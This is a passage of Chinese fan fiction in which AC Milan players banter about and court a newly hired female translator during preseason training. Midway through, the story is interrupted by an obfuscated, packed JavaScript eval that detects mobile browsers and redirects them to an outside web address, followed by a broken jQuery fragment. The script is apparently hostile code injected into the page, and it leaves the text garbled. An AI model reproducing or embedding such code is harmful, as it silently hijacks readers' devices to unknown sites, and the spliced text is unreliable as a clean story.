第二天的训练课终于全员到齐。
新赛季即将开始，AC米兰又刚换了新教练，因此训练场上的气氛有一点紧绷，这原本应该是正常的。但……不知为什么，缺席了昨天训练课的科斯塔库塔总觉得队友们的表现有那么一点点的，微妙？
“舍瓦今天怎么这么卖力？”不懂就问，科斯塔库塔挑选了表现得最明显的舍普琴科作为突破口。
马尔蒂尼一听这话就想笑：“舍瓦平时也很卖力。”嘴上说着替人挽尊的话，偏偏漂亮的蓝眼睛里满是笑意，因此令可信度大打折扣。
“少来。”撞了撞自家竹马的肩膀，科斯塔库塔坚决不肯岔开话题，“再卖力也不像今天这样，这么的……”他斟酌了一下用词。
“血气方刚？”一旁的阿尔贝蒂尼笑着补充。
三个人笑了一会儿后，马尔蒂尼便将上午发生的事讲给了两人听。
“噢，所以舍瓦终于准备恋爱了？”科斯塔库塔面无表情地吐槽，“他都来了两年多了吧。”
“他之前不是跟那个，和他一起拍广告的美国模特儿约会过吗？叫什么来着？”阿尔贝蒂尼提醒。
“克里斯汀？还是克里斯蒂娜？”马尔蒂尼想了想，“我好像听阿德里亚娜提起过。”
“美国那么远。”科斯塔库塔不太在意地摆了下手，“不过他这一位是不是又太近了？办公室恋情，嗯？”
马尔蒂尼却是不太看好舍甫琴科：“现在就想这些未免太早。”
迎着两人好奇望来的目光，马尔蒂尼眨了眨眼：“等见了人你们就懂了。”
“……保罗你吊人胃口的手段好幼稚。”
但不得不说，很有用，两人现在是真的对舍瓦的那位“心上人”感到好奇了。
验证的机会很快到来。
虽然这位来自土耳其的新教练在上一年执教佛罗伦萨期间，意语水平已经得到了很大锻炼，但他带来的教练组成员里有好几个都是外国人，因此一个好翻译，其作用是相当重要的。
远远望见一个窈窕的身影在四五个男人的簇拥下走近时，科斯塔库塔原本还想调侃两句，说些类似于“看啊保罗这比你的出场阵仗都要大”这样打趣的话，可等距离再拉近一些，他反而抿紧了嘴唇，像是弄丢了舌头那样一言不发了。
不同于初次亮相时那身中规中矩的职业套装，出现在训练场上的女孩儿换了一身内洛出品的运动服，及肩发松松束起扎成一个半高马尾，熟悉的红黑配色映衬下，女孩儿莹白的肌肤仿佛在发光，而她说着说着话，不自觉舔了下嘴唇的动作也……
突然冒出在女孩儿身边、殷勤地递上水壶的身影打断了某些旖旎的遐思，此时此刻，不知有多少人不自觉蹙起了眉头，唾弃着舍甫琴科的“不合时宜”。
“干嘛？”大概是不满于被打断了工作？翻译小姐不太高兴地扫来一眼。舍甫琴科不自觉站直身体，睁大眼为自己的唐突进行着辩护：“我怕你会觉得渴……”
眼见一场争吵即将爆发（有吗），可靠的米兰队长挺身而出，将风暴扼杀在了摇篮里。
“好了好了，别在这里聚集，毛罗要过来了。”将不远处明明正兴致勃勃围观的助理教练拿来扯了个大旗，马尔蒂尼面不改色地锁住舍甫琴科肩膀，把人往外拉了拉，“还有安德烈，你怎么拿自己的水壶给女孩子用——渴了的话那边有瓶装水。”说着，非常体贴地指了个方向。
翻译小姐眨眨眼，往马尔蒂尼指点的方向望了望，但并没有挪动步子，也没有说话。周围突然安静下来，气氛莫名有些微妙。
最终解救了马尔蒂尼的是他青梅竹马的好兄弟。
“喏。”一瓶水突破重围出现在女孩儿面前，男人素来平静的神情里带了点儿戏谑，“不用谢。”一边说，一边已经把水瓶直接塞过去，没有留下任何谢绝的空间。
“……谢谢。”用词很礼貌，但语气听起来不是很领情。
科斯塔库塔于是坏心眼儿地去逗人：“不是说了不用谢？”
妙目流盼，轻飘飘在男人脸上打了个旋儿，在这一刻，觉得自己温度陡升的绝不只有科斯塔库塔一人。只是——
“你们的助教先生真的过来了。”
“……”这笑容，是幸灾乐祸吧，绝对是幸灾乐祸吧！！！
不知何时悄悄出现的助理教练应声咳了下，昭显出自己的存在感。众人面面相觑了一瞬，你推推我，我推推你，终于一哄而散。
“……HR那边怎么想的，招了这么位棘手的人物进来。”
办公楼，会议室的落地窗前，吃瓜吃了全程的主教练半是调侃半是头痛地按了按自己突突直跳的太阳穴。
“你不是看过她的履历了，非常漂亮——就像她的脸一样。”来人不以为意地笑笑，“不招进来才是受了场外因素影响吧。”
主教练欲言又止：其实有时不用那么追求公平公正的，真的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372553|168180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不止主教练在为了新下属那过分充足的魅力苦恼，身处漩涡中心的本人显然也是这样认为的。
“你们球员这么闲的吗，都没自己的事情可做？”
训练结束后，又双叒叕一次被舍甫琴科缠上，女孩儿叹了口气，认命般地放慢了脚步——反正本来也没可能走得比运动员更快。
敏锐地捕捉到翻译小姐态度的软化，舍甫琴科先是一喜，接着又飞快地冷静下来，斟酌着自己接下来的话——他可不想又被翻译小姐噎。
……说起来，他当初居然有一瞬间觉得翻译小姐好欺负，还蠢蠢欲动着想更过分一点的来着，咳，真是无知者无畏。
现在想想，翻译小姐那时应该只是顾忌着初来乍到，秉承着不轻易惹事的原则这才想要息事宁人，偏偏他得寸进尺，直接就撞在了枪口上。
——虽然这样的相处好像也挺有趣的，哈哈！
“舟。”私下里练习了不知多少次后，舍甫琴科已经能把翻译小姐的名字念得十分标准，“上次你说食堂的饭不好吃，那要不要一起吃个饭？——说起来你住哪里，市中心吗？俱乐部帮你租房子了吗？”
女孩儿“咦”了一声：“俱乐部还会帮忙租房子？”
“对呀对呀——所以你现在还没安顿下来吗？”闻言舍甫琴科立刻思考起了自家周围有没有合适的房源。
“我不想到外面租房子，住在宿舍挺好的。”女孩儿的观念却和舍甫琴科完全不同，“我讨厌通勤。”
舍甫琴科不太能理解：“但是内洛周边能消遣的地方不多……”说到这儿他话音一顿，突然意识到自己好像踩了雷。
“‘消遣’。”果然，翻译小姐当即露出玩味表情，轻飘飘瞥来一眼，看得舍甫琴科头皮发麻，总有种马上要被“男人都不是好东西”之类的话狠狠糊脸的错觉。
“咳，我说的是电影院啊，餐厅之类的。”舍甫琴科努力为自己辩白，“别的地方我也不太了解。”
他说这话其实不算亏心，毕竟那些抽烟喝酒打架泡吧的叛逆时光远在基辅，跟米兰可扯不上关系；何况在被恩师洛巴诺夫斯基铁腕教育后，舍甫琴科早就改邪归正，自觉已经是（可以）个（冒充）乖乖牌了。
“别的地方？”欣赏了一会儿青年局促无措的神情，女孩儿调皮一笑，“我倒是没听明白呢，所以你说的‘别的地方’是指？”
“……”基辅夜莺深觉失言地闭紧了嘴巴。